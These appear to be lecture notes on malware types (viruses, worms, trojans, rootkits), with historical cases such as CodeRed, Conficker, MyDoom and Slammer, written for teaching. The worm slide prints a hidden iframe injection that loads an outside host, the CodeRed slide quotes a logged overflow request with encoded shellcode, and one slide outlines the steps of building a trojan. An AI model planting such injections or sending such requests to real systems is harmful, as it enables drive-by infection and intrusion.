Week 5 --- Malware

- **Lecture Content**

- □ **Malware Classification by Infection Method:**
  - □ **Virus**
  - □ **Worm**
  - □ **Trojan**
  - □ **RootKit**

Virus

"A ***computer virus*** *is a computer program that can copy itself and infect a computer without permission or knowledge of the user." -- Wikipedia*

- ❑ "Old-school" malware was viruses written by hackers for fun and mischief.
- ❑ Had to be transmitted by floppy disk, etc.
- ❑ Capable of destroying data, crashing programs and general computer vandalism.
- ❑ Not the biggest problem now* –
  - other types of malware (worms, trojans) have more sinister ways of infecting computers and making money for their writers.
- ❑ Detection is comparing a virus signature in a database with the code in a suspect file (using anti-virus software).

Historic Viruses

- ❑ Brain (1986) overwrite the boot sector of a DOS-formatted floppy disk, slowed the drive and displayed this message:

  Welcome to the Dungeon (c) 1986 Basit * Amjad (pvt)
  Ltd. BRAIN COMPUTER SERVICES 730 NIZAM BLOCK ALLAMA
  IQBAL TOWN LAHORE-PAKISTAN PHONE:
  430791,443248,280530. Beware of this VIRUS....
  Contact us for vaccination...

- ❑ Stoned (1987) is a boot-sector virus which displays the message:

  Your PC is now Stoned!

Neither of these viruses destroyed data.

Worms

- ❑ Spread through a network-aware program with a vulnerability
- ❑ May just spread
- ❑ May contain a payload
  - Downloader
  - RAT
  - Virus (for bridging air-gaps)
  - Other Malware

Worms

❑ A worm is a virus that can propagate without human intervention.

❑ Typically propagate through internet connections.

- May be attached to web page:
- &nbsp;<br></body></html><iframe src="http://uadrenal.com/qaqa/?daf02d89f0bb66c3b4a9ff31da01e10a" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

❑ May carry a 'payload' – a virus, or other type of malware.

http://www.cruc.es/what-to-do-when-youve-been-hacked/

CodeRed

- ❑ Ancient, but still out there.

```
203.110.29.108  - - [10/Aug/2010:19:43:02 +1000] "GET
/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u90
90%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u909
0%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 1024  "-" "-"
```

- ❑ Why? Old versions of IIS used in appliances - phones, printers, copiers.

Example: Conficker worm

Discovered November 2008

SN193.mpg

❑ multi-threaded worm

- checks for and disables A/V, Windows update, Wireshark
- disables multiple and localhost DNS replies (anti-spyware and adware blocking techniques)
- checks for security web sites: https://www.confickertest.com/
- tiny downloader using port 445 (MS08-67 vulnerability)

Conficker worm..

❑uses UPNP to open a port on the router

❑filters network traffic to block other worms

❑multiple forms of propagation

- MS08-67 vulnerability,
- dictionary attacks on LAN,
- jumps to USB drive + *autorun.inf*
- peer to peer sharing of downloads

Conficker worm…

❑ hides from user

- very small bandwidth use (slow / infrequent)
- **.dll** compressed with ups algorithm
- randomly generated **dll** name
- sets creation date to date of kernel32.dll
- hides in svchost process
- fails to return to OS when started – Windows never lists process. Name is set to NULL.
- defies analysis by checking timing to detect debuggers

Conficker worm….

- ❑ does not infect hosts on Ukranian domains
  - downloads IP – location database to exempt Ukranian hosts
- ❑ uses IP-checking web sites to send public IP
- ❑ downloads itself from pseudo-randomly generated domain name (seeded using UTC clock).
  - *a* variant chooses 1 of 250 (changes daily)
  - *b* variant chooses 50 of 50000 (changing daily)
- ❑ updates itself over port 80 using SSL / signed certificates (public key crypto)
  - 5 versions so far – constant improvements
  - now being used to install various malware infections
  - History: http://www.youtube.com/watch?v=fvs2-YH1jFE

MyDoom

❑ MyDoom (*W32.MydoomA@mm, W32.Novarg.A*)

- A worm that propagates by e-mailing itself to each address in the 'address book' as an executable attachment.

- Contains a TCP server accepting connections on ports 3127 to 3198.

- Used to launch a DDOS against *www.sco.com*, a company which “owned” UNIX and an open source Linux supplier Caldera, and tried to sue IBM, Novell, Red Hat, Sun other Linux distributors for copyright infringement.

Slammer

- Slammer (W32.SQLExp.Worm, DDOS.SQLP1434.A, W32/SQLSlammer, W32/SQLSlam-A)
  - A worm which performed DOS attacks on the entire internet by propagating itself through a vulnerability in the Microsoft SQL Server 2000 installations using UDP port 1434.
  - The SQL Server engine is included in products like Visual Studio so many victims didn't know they were vulnerable.
  - Very rapid propagation because the UDP does not wait for a connection.

Some other DOS worms

❑ Zotob

- Infects Win2000
- "Took down" CNN in 2005
- port 445 (plug and play vulnerability)

Trojans

"An unauthorized program contained within a legitimate program." (http://www.windowsecurity.com/faqs/Trojans/)

- ❑ A trojan is a container which distributes malware hidden inside itself, using un-used bytes at the end of the file.

  May be written from scratch to mimic some trusted program.
- ❑ Performs some 'normal' task (e.g. game, screensaver) but also performs some evil task when executed.

Trojans

❑ Commonly distributed in downloaded 'free' software and game patches.

❑ The payload is usually a network client or server, but may act as both or neither.

❑ Uses for remote control, keyloggers, data miners (passwords, e-mail addresses) and DDOS, to distribute bots.

❑ Trojans are one of the most prevalent type of malware found on home PCs.

❑ Simple anti-virus and firewalls offer little protection.

Trojan lifecycle

1. Make bait
2. Make payload
3. Make container
4. Make dropper
5. Add payload, bait, dropper to container
6. When container executed:
    - Run dropper
      If payload not installed, {Install payload}
    - Run payload
    - Run bait

Rootkit

- ❑ Rootkits are a technology used by malware. They evade detection by patching the operating system kernel so that programs like *explorer.exe*, *taskmanager*, and commands *ls* and *ps* cannot see them.

  - Root-kits have been used to enforce copy protection by Sony (https://en.wikipedia.org/wiki/Sony_BMG_copy_protection_rootkit_scandal) and game manufacturer UbiSoft (http://www.glop.org/starforce/).

  - Bugs in root-kits have become the targets of other exploits.

Rootkit

❑ Root-kits can be used to deliver and hide other malware such as trojans and worms.

❑ Rootkits are hard to remove

❑ Typically need to boot into another (uninfected and immune) OS to detect and delete files.

❑ Code can be hidden in other places.

❑ Types: hardware/firmware rootkit, bootloader rootkit, memory rootkit, application rootkit, and kernel mode rootkit